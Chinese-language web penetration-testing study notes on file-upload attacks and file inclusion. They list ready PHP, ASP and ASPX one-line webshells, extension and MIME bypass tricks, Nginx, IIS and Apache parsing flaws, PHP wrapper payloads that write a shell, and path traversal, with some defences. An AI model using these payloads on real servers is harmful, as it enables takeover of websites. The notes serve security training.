-  文件上传- web渗透的核心,内网渗透的基础
 - 通过上传webshell文件到对方的服务器来获得对方服务器的控制权
 
-  成功条件- 文件成功上传到对方的服务器(躲过杀软)
 - 知道文件上传的具体路径
 - 上传的文件可以执行成功
 
-  文件上传的流程- 前端JS对上传文件进行检测(文件类型)
 - 服务器端MIME类型(文件类型)检测
 - 服务器端目录路径检测
 - 服务器端文件扩展名检测
 - 服务器端文件内容检测
 
-  常用的一句话木马-  php- <?php @eval($_GET['cmd']);?>
 - <?php @eval($_POST['cmd']);?>
 - <?php @eval($_REQUEST['cmd']);?>
 
 -  asp- <% eval request('cmd') %>
 
 -  aspx- <%@ page Language ="Jscript" %><% eval (Request.Item["pass"],"unsafe");%>
 
 
-  
-  文件上传的几种情况-  前端JS绕过(验证文件后缀)- 浏览器设置禁用JS代码(不执行检测代码)
 - 正常文件上传,BP抓包修改文件后缀
 - F12检查页面代码,删除/修改检测函数(火狐支持,谷歌有代码保护)
 - F12检查页面代码,替换JS文件(检查窗口不能关闭)
 
 -  后端MIME类型绕过(验证MIME类型)- BP抓包后通过MIME类型爆破得到通过的MIME类型,后缀名修改
 
 -  后端文件后缀名验证+文件内容验证-  黑名单验证- 尝试对文件后缀名进行爆破(所有可执行的后缀名)
 - 如果对方是Apache服务器,可以尝试上传.htaccess文件,设置该文件夹下的文件都进行php解析(对方不过滤.htaccess文件且不修改文件名称时用) - <FilesMatch "1.jpg">SetHandler application/x-httpd-php</FilesMatch> (指定文件1.jpg用php解析)
 - SetHandler application/x-httpd-php (当前目录下所有文件都通过php解析)
 
 - user.ini文件绕过 - .user.ini所在目录中的所有php文件解析时都包含1.php;相当于加上了include(./1.png);文件具体路径可以自己设置
 - auto_prepend_file=1.png;开头被包含
 - auto_append_file=1.png; 结尾被包含
 
 - 大小写绕过 .Php .pHp .PhP等
 - 空格绕过 .php ,
 - .绕过 .php.
 - ..绕过 .php.. .php......等
 - /绕过
 - ::$DATA绕过 .php::$DATA
 - 循环验证绕过.pphphp .phtmlhp等
 - unicode编码绕过
 - url编码绕过
 
 -  白名单验证-  路径绕过- 文件路径可以操作 - POST hex下修改00绕过
 - GET %00绕过
 
 - 对文件路径无验证
 
- 文件路径可以操作 
 -  文件内容验证- 添加图片文件头绕过
 - 二次循环验证(针对文件内容被修改了)
 
 -  竞争上传(针对先保留再删除的验证逻辑)
 -  逻辑漏洞(代码审计出的逻辑上的漏洞)- 通过功能实现逻辑存在漏洞;需要代码审计
 
 
-  
 -  解析漏洞(服务器对某些特殊文件按脚本格式处理而产生的漏洞)-  Nginx- 空字节代码执行漏洞(<8.03版本)( 0.5.*, 0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37) - xxx.jpg%00.php
 
 - cgi.fix_pathinfo问题 - 解释:例如/info.jpg/1.php/2.zhide - 先找/info.jpg/1.php/2.zhide文件;没找到则把/info.jpg/1.php作为文件查找;找到则用/inifo.jpg/1.php作为/info.jpg/1.php/2.zhide执行;还没找到则依次类推
 
 - 绕过方法(通过上传图片马;在图片的url路径结尾加上/1.php即可解析图片马) - /1.jpg/1.php
 - /1.jpg%00.php
 - /1.jpg/%20\0.php
 
 
- 解释:例如/info.jpg/1.php/2.zhide 
 - 解决方式: - 设置php.ini中的 cgi.fix_pathinfo=0;
 - 禁止上传目录的执行脚本权限
 - 库站分离
 - 高版本设置security.limit_extensions = .php;限制php文件执行
 
 
- 空字节代码执行漏洞(<8.03版本)( 0.5.*, 0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37) 
 -  IIS- IIS5.x~IIS6.x - /xx.asp/xx.jpg
 - xx.asp;.jpg
 - test.asa/ test.cer/ test.cdx/
 - 升级版本,更新补丁
 
 - IIS7.x - 任何文件后面加上/.php就会以php进行解析;直接在url中加就行
 - 可以实现对图片马的直接执行
 - 解决方法:设置php.ini中cgi.fix_pathinfo=0;并重启php-cgi程序
 
 
- IIS5.x~IIS6.x 
 -  Apache- 2.4.0~2.4.29 - $可以匹配\n \r等字符;(换行解析漏洞)  
 - php%0a绕过;会当成php进行解析
 - php\x0A绕过;同上
 - 升级apache版本即可避免这个问题
 
- $可以匹配\n \r等字符;(换行解析漏洞) 
 - 允许多个后缀且从右往左识别后缀名(多个后缀识别解析漏洞) - test.php.php123 (从右往左进行判断解析)
 
 - Add Handler解析漏洞 - 如果用户手动设置了.php文件的解析 - AddHandler php5-script .php - test2.php.jpg绕过;后缀存在php就用php进行解析
 
 - AddType application/x-httpd-php .jpg (即使扩展名是jpg也一样用php解析) - 设置的所有后缀都会以php解析
 
 
- AddHandler php5-script .php 
 - 解决方法:默认不手动设置php解析操作
 
- 如果用户手动设置了.php文件的解析 
 
- 2.4.0~2.4.29 
 
-  
 
-  
 
-  
-  文件包含-  本地包含- 普通的文件包含;地址为本地地址
 
 -  远程包含- 文件地址为url远程文件地址
 
 -  php伪协议- allow_url_fopen默认开启 allow_url_include默认关闭 - 常用的伪协议示例  
 
- 常用的伪协议示例 
 -  file:// +文件的绝对路径- 使用本地的绝对路径
 
 -  php://- 常用 -  php://filter/read=convert.base64-encode/resource=./index- 查看源码
 - 参数格式 - resoure=<要过滤的数据流> 必须参数,指定筛选过滤的数据流
 - read=<读链的筛选列表> 可选参数,可设定一个或多个过滤器名称,以管道符(|)分隔
 - write=<写链的筛选列表> 可选参数,可设定一个或多个过滤器名称,以管道符(|)分隔<;两个链的筛选列表> - filename=php://filter/write=convert.base64-decode/resource=shell.php&txt=PD9waHAgZXZhbCgkX0dFVFsnaWQnXSk7Pz4=
 - 打开文件时对内容进行base64解码然后写入
 
 - 任何没有以read=或write=作前缀的筛选器列表会视情况应用于读或写链
 
 - 编码类型(过滤器) 
-  
 
 -  php://input+POST请求内容(具体内容必须写在POST请求体中)- 元数据的只读流;allow_url_include=On时可用
 - 注:当enctype=”multipart/form-data”时,php://input是无效的。
 
 
-  
 - php://output - 将内容以标准输出的形式写道缓存区
 
 - php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include
 
- 常用 
 -  https/http://+url地址- allow_url_include=On;allow_url_open=On;
 - 多用于远程文件包含
 
 -  压缩流- zip://压缩文件绝对路径%23压缩包中文件名 - 可以直接执行压缩包中的内容
 - %23 #
 - zip://D:\phpstudy_pro\WWW\123.com\text.zip%23text.txt
 
 - compress.bzip2://[文件绝对路径|文件相对路径] - 访问压缩文件中子文件
 
 - compress.zlib://[文件绝对路径|文件相对路径] - 访问压缩文件中子文件
 
 - phar://[文件绝对路径|文件相对路径]/[子文件名称] - 归档;访问压缩文件中的子文件
 
 
- zip://压缩文件绝对路径%23压缩包中文件名 
 -  data://text/plain 具体命令- allow_url_fopen=On allow_url_include=On
 - data://text/plain;base64,<执行代码的base64编码> | data://text/plain,<执行的代码>
 - 读取文件内容并执行
 
 - glob://
 - ssh2://
 - rar://
 - ogg://
 - expect://
 
- allow_url_fopen默认开启 allow_url_include默认关闭 
 
-  
-  文件包含防御- allow_url_include和allow_url_fopen关闭;
 - 对用户包含的文件进行限制,如白名单、open_basedir;
 - 检查用户输入;
 - 检查变量是否初始化;
 - 关键的过滤在服务器端进行;
 
-  文件下载- 抓取能下载的文件路径;尝试利用../操作来获取对方未允许下载的文件
 - 一般都设有文件保护
 
-  小技巧- WINDOWS系统对大小写不敏感,Linux对大小写敏感(可以尝试对网址大小写修改判断对方操作系统)
 - 通过修改登录页面index文件的后缀名判断网站的编程,如.php、.asp、.jsp(能运行表示使用该编程语言)
 -  文件上传绕过步骤(大致思路)- 上传正常的图片文件看回显
 - 删除MIME类型看效果 - 有问题就MIME爆破
 - 没问题再测试后缀
 
 - 乱码后缀检测对方的验证方式(确认黑名单还是白名单) - 黑名单时后缀名爆破
 - 白名单时尝试解析漏洞
 
 
 
